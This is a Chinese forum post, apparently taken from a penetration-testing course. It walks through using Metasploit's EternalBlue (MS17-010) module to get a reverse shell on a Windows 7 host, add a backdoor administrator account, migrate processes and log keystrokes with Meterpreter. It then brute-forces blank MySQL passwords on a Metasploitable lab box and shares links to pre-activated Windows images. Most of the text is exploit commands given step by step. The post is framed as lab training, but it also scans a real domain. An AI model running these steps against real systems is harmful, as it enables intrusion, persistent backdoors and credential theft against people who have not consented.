找回密码
 立即注册
注册 登录
×
热搜: 活动 交友 discuz
查看: 98|回复: 1

实战-使用msf渗透攻击Win7主机并远程执行命令

[复制链接]

2

主题

6

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2022-9-20 08:17:56 | 显示全部楼层 |阅读模式
更多学习内容请移步至公众号【学神来啦】

7.4.1  环境介绍

永恒之蓝概述:
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
注: windows7 是2009年发布。

我们这节课利用win7的经典漏洞“永恒之蓝”。
官方描述:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
永恒之蓝相关病毒,其实是利用了微软的MS17-010漏洞。MS17-010是Windows系统一个底层服务的漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

7.4.2  通过msf模块获取Win7主机远程shell


Win7旗舰版SP1-64位系统镜像(内有激活工具):
    链接:https://pan.baidu.com/s/1FueCa5Z9WUBbOWvL-Djwqw
提取码:root

Win7旗舰版SP1-64位免安装版(已激活)密码:123456,下载解压后用VMware直接打开即可
链接:https://pan.baidu.com/s/1vlHNmdHBiPoidRmP5H7sHw
提取码:4g96

如果想自己安装可以下载镜像,不想自己安装的可以下载免安装版

模块的整体使用流程如下



我们先扫描目标是否存在ms17-010漏洞
msf6 > search ms17-010



使用use命令选中这个模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010
查看模块需要配置的信息
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options



需要我们配置RHOST主机IP
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.56
开始扫描
msf6 auxiliary(scanner/smb/smb_ms17_010) > run



目标看起来易受攻击,也就表示可能存在相关漏洞。

查找攻击模块
msf6 > search ms17-010



使用use命令加载模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options



设置目标主机IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56

查看exploit target目标类型:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets



可以看到这个模块只有一个target,所以默认就选择这个目标系统。不需要手动设置。

我们已经配置好漏洞相关参数了,接下来应该做什么?



找一个payload,获取shell远程连接权限后,进行远程执行命令,由于模块加载的时候默认指定了一个payload



如果不想使用默认指定的payload,可以自己找一个payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload
注:payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
我们挑选一个反弹shell的payloads



注:设置的时候payload和windows之间有空格。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
查看一下payloads需要配置什么信息
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options  #查看加载到的payload信息



设置一下本机payload监听地址
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53
配置完成后开始执行
exploit  [ɪkˈsplɔɪt  运用;利用;
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit



注:如果等待没有出现shell提示符可以敲一下回车。
直接执行的话会获得目标主机的SEHLL
使用DOS命令创建用户
C:\Windows\system32>net user admin admin /add



显示乱码但是已经添加成功
拓展:解决乱码问题(乱码是因为windows和linux的编码不一样导致的)
    C:\Windows\system32>chcp 65001
查看用户
C:\Windows\system32>net user



可以看到新建的用户已经创建成功。
查看拿到的用户权限
C:\Windows\system32>whoami



关闭链接Ctrl+c
Abort session 1? [y/N]  y

实战:通过会话进行连接目标机
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
-j表示后台执行 渗透目标完成后会创建一个session 我们可以通过session连接目标主机。



msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions



通过会话Id进入会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2



退出会话将会话保存到后台
C:\Windows\system32>background



msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions



根据会话Id结束会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 2



扩展:
如何使用键盘监听
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
这里需要使用meterpreter的payloads
windows/x64/meterpreter/reverse_tcp



执行渗透攻击后拿到win7权限



查看拿到的用户权限



这里发现是SYSTEM权限,但是WIN7上我们是Administrator用户



要执行进程迁移命令,通过migrate [PID]

首先我们可以通过ps查看当前进程



当前我们的权限是NT AUTHORITY\SYSTEM 我们需要讲进程迁移到 XUESHEN\Administrator
这里我们通过使用migrate 来进行进程迁移(只要是XUESHEN\Administrator的进程都可以)



通过getuid查看当前权限



接下来我们可以执行keyscan_start开启键盘监听命令



我们到目标机上打开文档输入内容



通过keyscan_dump去捕捉到的键盘记录信息



可以看到是可以成功捕捉到信息的

我们可以通过keyscan_stop来停止键盘记录功能



总结使用metasploit攻击的步骤:
1、查找CVE公布的漏洞
2、查找对应的exploit模块
3、配置模块参数
4、添加payload后门
5、执行exploit开始攻击

7.5  实战-使用msf扫描靶机上mysql服务的空密码

7.5.1  实战-使用msf扫描靶机上mysql服务的空密码

我们启动一台Metasploitable2-Linux靶机网络模式为桥接IP:192.168.1.180



登录Metasploitable2-Linux系统用户名root,密码:123456
输入ip a 查看ip地址



登录Kali开始搜索模块
msf6> search mysql_login



加载模块
msf6 > use auxiliary/scanner/mysql/mysql_login
查看模块配置项
msf6 auxiliary(scanner/mysql/mysql_login) > show options



我们配置要爆破的用户
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
参数:BLANK_PASSWORDS  含意:Try blank passwords for all users   #为所有用户尝试空密码 。 blank [blæŋk]  空白的
开启为所有用户尝试空密码
msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
设置目标主机
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.1.180



配置完成以后我们执行run 或者exploit
msf6 auxiliary(scanner/mysql/mysql_login) > exploit



执行成功

使用后端凭证命令creds , 列出数据库中的所有凭据
Credentials   [krəˈdenʃlz]  凭证;证书;
msf6 auxiliary(scanner/mysql/mysql_login) > creds



7.5.2  将扫描的结果导出Metasploit与导入另一台机器的Metasploit中

数据库后端命令:
db_connect   连接到现有的数据库
db_disconnect   断开与当前数据库实例的连接
db_export   导出包含数据库内容的文件
db_import   导入扫描结果文件(文件类型将被自动检测)

例1:将前面扫描mysql数据库空密码信息导出
msf6 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml
注:导出只支持两种格式:xml和pwdump
常用的导出格式为 xml



导出以后退出程序
msf6 auxiliary(scanner/mysql/mysql_login) > exit

例2:将扫描的结果导入另一台机器的Metasploit中
我们就不再开一台新Kali,直接重置数据库,当成新的来用
┌──(root xuegod53)-[~]
└─# msfdb reinit      
连接Metasploit
└─# msfconsole
msf6 > hosts



数据库中主机信息是空的,我们导入数据
msf6 > db_import /root/bak.xml



msf6 > hosts



hosts命令有多个选项,通过 hosts -h 可以查看
msf6 > hosts -h



在这里,最重要的是选项 -c,此选项使我们能够选择要用hosts命令显示的数据的列或字段(类似于SQL中的select命令)。在上图中可以看到显示的可用列。
例:显示指定列的主机信息
msf6 > hosts -c address,name,os_name



删除指定主机
msf6 > hosts -d 192.168.1.180



除此之外我们还可以直接将NMAP的扫描结果导入到Metasploit数据库中我们新开一个终端窗口来进行扫描。
└─# nmap -A http://xuegod.cn -oX xuegod.xml
-oX  将扫描信息导出到XML文件中



我们回到Metasploit导入扫描结果
msf6 > db_import /root/xuegod.xml



msf5 > hosts



查看我们数据库中的主机都开放了哪些服务
msf5 > services



显示指定主机的服务信息
msf5 > services  -R 101.200.128.35



扩展:
在msf命令提示符下输入help后,显示的命令列表和作用描述。
msf6 > help
核心命令
=============
?   帮助菜单
banner   显示一个metasploit横幅
cd   更改当前的工作目录
color   切换颜色
connect   连接与主机通信
exit   退出控制台
get   获取特定于上下文的变量的值
getg   获取全局变量的值
grep grep另一个命令的输出  如: grep creds help
help   帮助菜单
history   显示命令历史
irb   进入irb脚本模式
load   加载一个框架插件
quit   退出控制台
route   通过会话路由流量
save   保存活动的数据存储
sessions    转储会话列表并显示有关会话的信息
set   将特定于上下文的变量设置为一个值
setg   将全局变量设置为一个值
sleep   在指定的秒数内不做任何事情
spool   将控制台输出写入文件以及屏幕
threads   线程查看和操作后台线程
unload   卸载框架插件
unset   取消设置一个或多个特定于上下文的变量
unsetg   取消设置一个或多个全局变量
version   显示框架和控制台库版本号
模块命令
===============
advanced   显示一个或多个模块的高级选项
back   从当前上下文返回
edit   使用首选编辑器编辑当前模块
info   显示有关一个或多个模块的信息
loadpath   路径从路径搜索并加载模块
options   显示全局选项或一个或多个模块
popm   将最新的模块从堆栈中弹出并使其处于活动状态
previous   将之前加载的模块设置为当前模块
pushm   将活动或模块列表推入模块堆栈
reload_all   从所有定义的模块路径重新加载所有模块
search   搜索模块名称和描述
show   显示给定类型的模块或所有模块
use   按名称选择模块
工作命令
============
handler   作为作业启动负载处理程序
jobs   显示和管理作业
kill   杀死一个工作
rename_job   重命名作业
资源脚本命令
========================
makerc   保存从开始到文件输入的命令
resource   运行存储在文件中的命令
数据库后端命令
=========================
db_connect   连接到现有的数据库
db_disconnect   断开与当前数据库实例的连接
db_export   导出包含数据库内容的文件
db_import   导入扫描结果文件(文件类型将被自动检测)
db_nmap   执行nmap并自动记录输出
db_rebuild_cache   重建数据库存储的模块高速缓存
db_status   显示当前的数据库状态
hosts   列出数据库中的所有主机
loot   列出数据库中的所有战利品
notes   列出数据库中的所有笔记
services   列出数据库中的所有服务
vulns   列出数据库中的所有漏洞
workspace   在数据库工作区之间切换
凭证后端命令
============================
creds   列出数据库中的所有凭据
更多网络安全学习资料:
回复

使用道具 举报

1

主题

3

帖子

7

积分

新手上路

Rank: 1

积分
7
发表于 2025-1-26 02:42:01 | 显示全部楼层
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋| 黑客通

GMT+8, 2025-4-19 16:35 , Processed in 1.529697 second(s), 20 queries .

Powered by Discuz! X3.4

Copyright © 2020, LianLian.

快速回复 返回顶部 返回列表